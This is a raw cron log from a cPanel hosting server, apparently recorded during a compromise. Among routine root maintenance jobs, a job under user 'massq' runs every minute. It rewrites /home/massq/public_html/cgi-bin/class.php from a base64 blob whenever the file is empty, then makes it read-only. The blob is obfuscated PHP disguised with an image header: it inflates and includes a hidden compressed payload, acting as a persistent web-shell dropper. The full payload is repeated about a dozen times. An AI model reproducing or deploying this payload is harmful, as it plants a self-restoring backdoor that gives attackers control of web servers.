Aug 31 09:38:01 server CROND[26329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:38:01 server CROND[26328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:39:01 server CROND[26702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:39:01 server CROND[26704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:39:01 server CROND[26705]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 09:39:01 server CROND[26703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:40:01 server CROND[27097]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 09:40:01 server CROND[27098]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:40:01 server CROND[27105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:40:01 server CROND[27104]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 09:40:01 server CROND[27106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:40:01 server CROND[27107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:40:01 server CROND[27102]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 09:40:01 server CROND[27103]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:41:01 server CROND[27930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:41:01 server CROND[27931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:41:01 server CROND[27932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:42:01 server CROND[28298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:42:01 server CROND[28299]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 09:42:01 server CROND[28300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:42:01 server CROND[28301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:43:02 server CROND[28771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:43:02 server CROND[28772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:43:02 server CROND[28773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:44:01 server CROND[29145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:44:01 server CROND[29146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:44:01 server CROND[29147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:45:01 server CROND[29521]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 09:45:01 server CROND[29522]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:45:01 server CROND[29524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:45:01 server CROND[29525]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 09:45:01 server CROND[29527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:45:01 server CROND[29528]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:45:01 server CROND[29523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:46:01 server CROND[30362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:46:01 server CROND[30363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:46:01 server CROND[30365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:47:01 server CROND[30737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:47:01 server CROND[30736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:47:01 server CROND[30738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:48:01 server CROND[31144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:48:01 server CROND[31145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:48:01 server CROND[31146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:49:01 server CROND[31725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:49:01 server CROND[31726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:49:01 server CROND[31727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:50:01 server CROND[32168]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 09:50:01 server CROND[32169]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 09:50:01 server CROND[32174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
